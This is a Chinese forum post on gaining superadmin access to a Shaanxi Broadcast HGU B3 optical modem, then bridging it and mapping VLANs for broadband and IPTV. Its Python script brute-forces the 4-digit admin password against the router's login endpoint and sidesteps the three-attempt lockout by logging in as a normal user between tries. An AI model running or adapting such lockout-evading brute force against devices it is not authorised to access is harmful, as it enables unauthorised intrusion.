陕西广电 HGU B3 超级密码暴力破解及单线复用

3dxfood

坐标 029 ，最近拉了条陕西广电的 IPTV ，随线路还有一条 300M 宽带，想着可以做做联通 1000M 线路的冗余备份，顺便能折腾下陕西广电的组播源，毕竟广电的频道数量和码率吊打陕西联通。陕西联通 IPTV 就是个渣渣，频道少码率差不说，还不是单独组播线路，直播点播统统占我带宽。

然而广电小哥拉完线路调测完并不肯告诉我光猫超级密码，这必须不能忍。网上找了一圈发现古早 B1 、B2 版本的方法在 B3 光猫跟前统统不能用，但受到之前方法的启发，发现光猫上报配置之后依然会将 useradmin 的超级密码更改为随机 4 位数字的弱密码，那就很容易穷举出来。所以思路和 B2 版本一致，但 B2 判断登陆成功与否的方式在 B3 版本上已不适用。

通过抓包发现 B3 版本的光猫在登陆成功后会有个 302 重定向，并且尝试 3 次登陆失败后会有一个 180 秒的锁定时间，但在 3 次尝试中只要有一次正常的登陆就可以重置这个计数器。

所以总结一下思路：

• 抓包分析登陆动作实现逻辑及 URL
• useradmin 的密码从 0000 开始尝试至 9999 ，通过判断是否有 302 响应确定登陆成功与否
• 为防止 3 次登陆锁定，需要每尝试 2 次之后成功登陆一下 user 普通用户重置计数器
  

根据以上思路随便写了段 python ，以下代码：

1. import requests
   
2. from bs4 import BeautifulSoup
   
3. import re
   & X0 t* @4 E3 D  F& m1 o
4. 
   
5. for i in range(10000):
   . [' z. U/ e2 i" B% m6 C
6. User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
   6 ^. O0 c2 j; n. i! X4 F
7. 
   
8. headers = {"User-Agent": User_Agent}
   2 B7 C; c4 t: a" n4 B2 e
9. session = requests.Session()
   
10. 
    
11. response = session.get("http://192.168.1.1")
    
12. cookies = session.cookies
    
13. 
    
14. login_url = "http://192.168.1.1/boaform/admin/formLogin"
    / Z) \5 m) m4 z/ B
15. if (i % 2 == 1 or i == 0):
    
16. # 防止密码错误次数到达上限，*替换成自己光猫的 user 密码
    
17. login_data = {"username": "user", "psd": "********", "login_in": "%B5%C7%C2%BC"}
      m8 b( m: e. e4 F( Q6 o! n
18. session.post(login_url, login_data, allow_redirects=False)
    
19. logout_url = "http://192.168.1.1/boaform/admin/formLogout"
    
20. session.post(logout_url, allow_redirects=False)
    
21. # 尝试以 useradmin 及 4 位数字密码登陆
    # v: r. O0 i8 m: \$ W# G
22. login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}
    
23. res = session.post(login_url, login_data, allow_redirects=False)
    
24. 
    
25. # 检查是否有 302 重定向
    
26. if res.status_code == 302:
    % b+ F1 w1 r3 x  n  j* w! u8 X# B* H
27. print("Login succeeded with password:", "{:04d}".format(i))
    
28. break
    
29. else:
    
30. print("Login failed for password:", "{:04d}".format(i))

复制代码

懒得优化了，能跑就行
4 i" E' S0 S4 M1 _

0 z6 L3 G3 r9 Y3 U) s7 I

然而我这个随机密码居然是 9 开头 4 位数，以至于我一度认为脚本有问题。。。。
; ]: t* E9 [- g- m( _( f) ?, T尝试登陆一下

) K/ O0 R# z  Y% \) e6 Q+ s5 E

这下看起来舒服多了，随手翻翻 WAN 线路配置

, r2 ?8 @( f; B

vlan44 宽带，vlan45 iptv ，顺手想改个桥接，正苦于哪找 pppoe 签权信息，发现广电这个大善人居然就在页面上写着：

那就不客气了，必须桥接走起
. ~+ _! m& m* Y4 g- C

光猫里找了一圈并没找到 vlan mapping 的配置，总不能再拉根线到电视柜啊？
那就进后台翻翻看配置藏哪了
" z, S4 c5 o: K

还真给翻到了

6 H% n. f( q6 ]. ^2 D" X

那不客气了，vlan 号懒得改就随手用它的，反正屋里多这俩也不冲突。
6 X. y. l& X3 x; w2 |广电盒子划 vlan45 里，接电视一切正常。
/ ?: u* G+ Q4 c- u' V4 ?+ A5 l300M 宽带聊胜于无，写个冗余留给 wireguard ，ros 里新起个 vrf ，AC 里绑个无线没密码限速 8M 给隔壁小孩谋谋福利。
5 ?- \8 {5 J- X5 k

iptv 组播源改天再折腾吧
* H) c# F' a! k1 KPS.iptv vlan45 要有 dhcp option60 才能拿到地址。陕西广电 option60 居然是'600831STB'，呵呵。。

以上，有陕西广电的兄弟可以参考一下。

# T* D9 a1 z( w! e

chinadslxiaobai

厉害了，不错的分享

292607892

我只能说牛逼